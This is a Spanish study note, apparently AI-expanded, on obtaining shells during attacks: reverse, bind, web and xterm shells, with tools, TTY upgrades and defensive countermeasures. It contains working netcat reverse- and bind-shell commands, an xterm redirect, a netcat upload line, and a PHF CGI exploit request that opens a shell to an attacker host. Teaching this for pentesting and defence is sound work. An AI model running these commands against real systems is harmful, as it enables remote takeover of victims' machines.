Obtención de Shells – Nota expandida
Relacionado: IDOR. Netcat. Herramientas. Escalada de Privilegios. 12 Introduccion a la Criptografiaseguridad.
La obtención de una shell es el momento clave de un ataque en el que el atacante logra ejecutar comandos en el sistema de la víctima, generalmente a través de una terminal interactiva. Obtener una shell representa tomar el control de un equipo, al menos parcialmente, y permite al atacante moverse dentro del sistema, escalar privilegios y desplegar herramientas maliciosas o realizar acciones específicas.
¿Qué es una “shell”?
Una shell es un entorno de línea de comandos que permite interactuar con el sistema operativo introduciendo instrucciones. Las más comunes son:
-
En Linux:
/bin/bash,/bin/sh,/bin/zsh, etc. -
En Windows:
cmd.exe,powershell.exe
En ciberseguridad, “obtener una shell” suele implicar tener un intérprete de comandos remoto tras explotar una vulnerabilidad.
Métodos comunes para obtener una shell
1. Shell directa por vulnerabilidad
-
El exploit lanza directamente una shell sobre el sistema objetivo.
-
Ejemplo: overflow en un binario SUID que ejecuta
/bin/sh.
2. Shell inversa (reverse shell)
-
La víctima conecta hacia el atacante y le entrega una terminal.
-
Es muy útil para evadir firewalls o NAT.
Ejemplo (en Linux):
Máquina atacante:
nc -lvnp 4444Máquina víctima:
nc <IP_atacante> 4444 -e /bin/bash3. Bind shell
-
La víctima abre un puerto y espera que el atacante se conecte.
-
Menos sigilosa, más fácil de detectar por IDS.
Víctima:
nc -lvnp 4444 -e /bin/bashAtacante:
nc <IP_víctima> 44444. Web shells
-
Archivos como
cmd.php,shell.jsp,shell.aspxque permiten ejecutar comandos desde el navegador. -
Subidos tras explotar una vulnerabilidad web (por ejemplo, subida de archivos sin validación).
5. Xterm shells (en sistemas con entorno gráfico activo)
-
Envío de comandos que abren una ventana gráfica con una terminal conectada a la máquina del atacante.
-
Ejemplo:
xterm -display <IP_atacante>:06. Telnet inverso / Shell por Netcat sin nc instalado
- Subir netcat a la víctima si no lo tiene:
rcp atacante:/tmp/nc víctima:/tmp/nc- Ejecutar:
/tmp/nc -e /bin/bash <IP_atacante> 4444Ejemplo de ataque real (shell mediante PHF vulnerable)
- El atacante lanza un exploit al CGI vulnerable:
GET /cgi-bin/phf?Qalias=x%0a/bin/nc%20IP_atacante%204444%20-e%20/bin/sh-
La víctima ejecuta el comando.
-
El atacante recibe una shell interactiva.
️ Herramientas utilizadas para obtener shells
| Herramienta | Uso principal |
|---|---|
Netcat (nc) | Reverse y bind shells simples. |
| Metasploit | Módulos automáticos para shells (Meterpreter). |
| Nishang, PowerShell Empire | Shells y payloads en Windows. |
| Webshells (cmd.php, China chopper, etc.) | Shells en servidores web. |
| msfvenom | Crear payloads personalizados. |
Tipos de shells
| Tipo | Descripción |
|---|---|
| Interactivas | Puedes ejecutar comandos como si estuvieras en el terminal. |
| No interactivas | Limitadas, suelen necesitar técnicas para mejorar la experiencia (TTY). |
| TTY mejoradas | Shells escaladas con soporte completo (python -c 'import pty; pty.spawn("/bin/bash")'). |
| Meterpreter | Shell avanzada con funciones integradas (subida de archivos, webcam, capturar teclado…). |
Contramedidas defensivas
-
Restringir subida y ejecución de archivos.
-
Segmentar la red y limitar servicios disponibles al exterior.
-
Usar firewalls internos para detectar conexiones inversas.
-
Monitorizar creación de procesos sospechosos (con Sysmon o auditd).
-
Detectar webshells mediante EDR, análisis de logs y firmas YARA.
-
Validar entradas y salidas, deshabilitar funciones inseguras en servidores web (como
system(),exec()en PHP).
Trucos post-acceso
- Convertir shell limitada en una TTY completa (Linux):
python -c 'import pty; pty.spawn("/bin/bash")'
ctrl+z
stty raw -echo; fg
export TERM=xterm- Redirigir salida estándar para mejorar shells mal formateadas.
Conclusión
Obtener una shell es un punto de inflexión en un ataque. A partir de ahí, el atacante tiene control directo sobre el sistema y puede continuar con la escalada de privilegios, persistencia o movimiento lateral. Comprender los distintos tipos y técnicas es clave tanto para pentesters como para defensores.
¿Te gustaría que prepare un laboratorio con shells inversas en Linux y Windows usando Netcat, Metasploit o webshells reales?